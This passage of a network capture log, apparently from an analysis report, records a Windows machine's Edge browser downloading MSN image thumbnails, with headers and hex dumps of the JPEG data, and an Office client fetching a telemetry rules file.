2024-11-12 07:30:38 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 16:59:17 GMT X-Datacenter: eastus X-ActivityId: c05b7559-1421-43cb-9ee9-42e5bea3615f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 X-Source-Length: 79668 Content-Length: 79668 Cache-Control: public, max-age=120495 Expires: Wed, 13 Nov 2024 16:58:53 GMT Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close
2024-11-12 07:30:38 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-12 07:30:38 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-12 07:30:38 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-12 07:30:38 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	57065	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:38 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ9 Last-Modified: Mon, 04 Nov 2024 12:42:24 GMT X-Source-Length: 54392 X-Datacenter: eastus X-ActivityId: 89171588-83bc-4391-9ac9-0b9635f6ae53 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 54392 Cache-Control: public, max-age=148312 Expires: Thu, 14 Nov 2024 00:42:30 GMT Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close
2024-11-12 07:30:38 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: fc ce 6f 4c de 99 2c 95 67 6b 1e 84 3e e1 e2 f1 c1 25 d9 ea bf 73 b3 77 8c e1 f6 e3 71 78 df 44 ba f9 f2 3c 27 b6 2f 48 cf 08 bc eb 9e 7c 47 11 36 db dc 9a d7 24 e9 7d 0d b7 c5 71 1b 57 53 7a ff 00 97 8b da 1f d1 27 d1 37 91 9d a3 6d 7d c7 76 37 ea 25 b9 cb f4 d3 f8 2c 80 6e 71 fc 44 f2 6a 0b b2 fe 59 bd 12 3d 12 71 8b ca b9 d7 13 c4 c5 e9 bb 27 e7 af b4 37 fd 43 88 5f e2 fe 03 f4 49 7b 25 c8 9b 4b fe a1 c4 5e 50 ae 54 ff 00 73 ab 6b ee 29 c9 29 ed b5 6d 2b 4e fd a7 23 d9 34 76 3c 51 f3 5e d3 37 ac ca d4 ed 76 3e 95 4b b0 55 2e c4 a8 04 50 67 0c 6d 69 a2 d3 5c 85 81 94 a0 c6 41 49 ae 45 ac 2c 9c 0c d3 96 de cc 71 6e 49 45 5a 5e 6d f4 46 5a 19 24 78 3f 74 fb b6 d7 07 07 0d af 16 ec be 57 5e 18 e6 9c af f5 55 74 d2 cf 2b ee 5f 79 c4 fd 0e 12 55 76 a7 b9 96 Data Ascii: oL,gk>%swqxD<'/H\|G6$}qWSz'7m}v7%,nqDjY=q'7C_I{%K^PTsk))m+N#4v<Q^7v>KU.Pgmi\AIE,qnIEZ^mFZ$x?tW^Ut+_yUv
2024-11-12 07:30:38 UTC	1783	IN	Data Raw: 27 17 e1 ef 9b 57 4f 2d 35 79 de 87 e7 9a 75 5a 91 4d bc 8e 7f 6f 66 f8 47 dd ee 7f dc bb 31 c5 18 6c ce 54 e4 94 ad 24 d2 f9 5f 3d 73 67 9f ff 00 f9 3f 17 51 51 db da 8a 5a 3c f5 b3 e5 5e dc aa ea 84 95 12 f7 ed 7d 56 75 91 fa 14 7f ee 9d b5 b2 b1 6c 49 ee 52 ca 49 46 d7 5c af 5c cf 9f e3 fe f7 c5 71 b5 14 f0 46 db a5 a6 b6 dc 7c da 5c f9 1e 0d c4 96 67 95 5c 87 2c 57 89 b6 db ea d8 ad af 31 b9 36 6a 32 a7 89 b4 c9 a3 51 82 2d 52 05 26 51 21 49 30 aa bc 98 34 32 82 26 f9 d9 69 27 d5 2f 61 cc c2 46 5a 6b fe 84 15 28 b4 0c e8 b4 bb a2 1c 7a a2 a0 43 a3 18 a8 66 31 80 42 28 c4 c1 23 19 54 45 8d 09 cb 6e 49 c5 d3 47 ab b1 c5 bb 4e dc 26 9d c6 4b 46 9f 34 79 4e 86 8b aa fd a7 ed 9f 72 db fb 86 ca 84 9d 6f ed c5 63 5d 27 d3 14 7c fa ae 67 a3 2d 0f c3 b6 b7 e7 Data Ascii: 'WO-5yuZMofG1lT$_=sg?QQZ<^}VulIRIF\\qF\|\g\,W16j2Q-R&Q!I042&i'/aFZk(zCf1B(#TEnIGN&KF4yNroc]'\|g-
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: 8e 95 13 83 6a b1 f8 9f fa f4 3b a5 71 55 97 5f 7e a6 a2 61 c6 50 bb 6d af 85 9d 4f 7a 12 8d 3b d1 69 91 e6 96 54 5c 2e 57 d8 e9 8f 87 4b fe 40 6d cb 04 d3 cf a3 09 2f 0e e7 c4 a8 e8 c3 77 d8 f7 78 69 c6 51 8a 49 e2 4b 0c 96 69 aa fe 7a f7 3c 28 bf 16 87 a5 c2 ce 3b 73 f1 2f 0c b4 eb 97 e7 32 af 5b e5 d3 3e 1e 49 e9 6a ee 9d 6b a7 6e 7c c9 a6 b4 67 5a 84 f6 b7 d4 d3 b8 ad 3b eb 9b a0 7b 9f 34 a9 67 f2 df 46 46 ac 52 a9 a4 92 6d a4 ef c8 e5 96 9a 74 3a b8 79 5c e2 de 97 9f 40 5b d0 a9 b3 6e 76 23 65 78 d3 ab a7 67 ad 85 db ac d6 ab f6 4c f1 ad c3 55 99 ea 6c 62 dc db 93 bd 60 d7 b9 ff 00 06 7b 2f 5f 61 a3 c4 2c 78 65 e1 e4 ff 00 73 bd 4a 2a 37 4b 12 f7 3b e8 78 fb d0 f0 e3 8f 3a 7d 8e ae 16 4b 75 38 49 d3 59 77 f3 33 67 8d 74 eb 7c e0 f2 db b5 69 51 cb 78 Data Ascii: j;qU_~aPmOz;iT\.WK@m/wxiQIKiz<(;s/2[>Ijkn\|gZ;{4gFFRmt:y\@[nv#exgLUlb`{/_a,xesJ*7K;x:}Ku8IYw3gt\|iQx
2024-11-12 07:30:38 UTC	3976	IN	Data Raw: 63 01 8e 88 dd 61 8e 8d e6 ff 00 80 0b 30 f6 ac 09 71 a1 16 dd af 6b 26 9f 2c c0 a8 67 6c a6 f9 8b b1 a3 17 3b f6 f4 40 4b 09 1d 89 49 62 75 15 f5 f7 05 f4 94 53 b6 b4 eb 44 cf 72 fc 31 c8 2a 70 c2 2a d5 d9 51 78 b3 59 f5 e5 a0 07 25 a6 7f c0 af a8 57 5f a8 a2 ef 37 d2 c4 f7 1b 79 9c 97 d4 69 d8 41 dc f4 a6 0d b0 6f cc 4c 0a 6c b4 0a 36 e5 e4 1d 73 01 37 41 36 d7 ea 7f 00 15 61 db c2 92 e4 14 47 26 c6 9b 1c 20 e4 b1 3d 02 c7 6a 4f 59 3c 11 e6 f3 7e 4b f2 80 2a e2 77 df 87 13 9f 25 24 a7 ff 00 ad 33 b2 13 db 8a 6f 71 db 7f a6 09 25 ef fc 28 e1 9e fe de dc 70 c1 25 df af 9b 7f 9a 3c df 51 e1 ac d9 07 b5 ea 70 f7 6d 4f 4c 96 28 a5 5f fd 59 b7 38 bd a7 b4 b6 e3 15 86 16 e2 b1 37 af 37 55 6f bb b3 c3 c4 c6 9f 6f 78 5d 76 c6 73 f4 b7 7c 55 17 86 4e 2b 4b 72 d2 Data Ascii: ca0qk&,gl;@KIbuSDr1pQxY%W_7yiAoLl6s7A6aG& =jOY<~K*w%$3oq%(p%<QpmOL(_Y877Uoox]vs\|UN+Kr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	57067	23.47.50.150	443	1632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 07:30:38 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Wed, 02 Oct 2024 04:14:12 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: c23eec77-42c7-4780-9ed9-9f5c2ecaf25e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=383663 Expires: Sat, 16 Nov 2024 18:05:01 GMT Date: Tue, 12 Nov 2024 07:30:38 GMT Connection: close
2024-11-12 07:30:38 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: d3 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 Data Ascii: _[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-12 07:30:38 UTC	2358	IN	Data Raw: 9c b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 ef 75 b5 1f d3 86 e7 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u
2024-11-12 07:30:38 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-12 07:30:38 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	57069	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:38 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
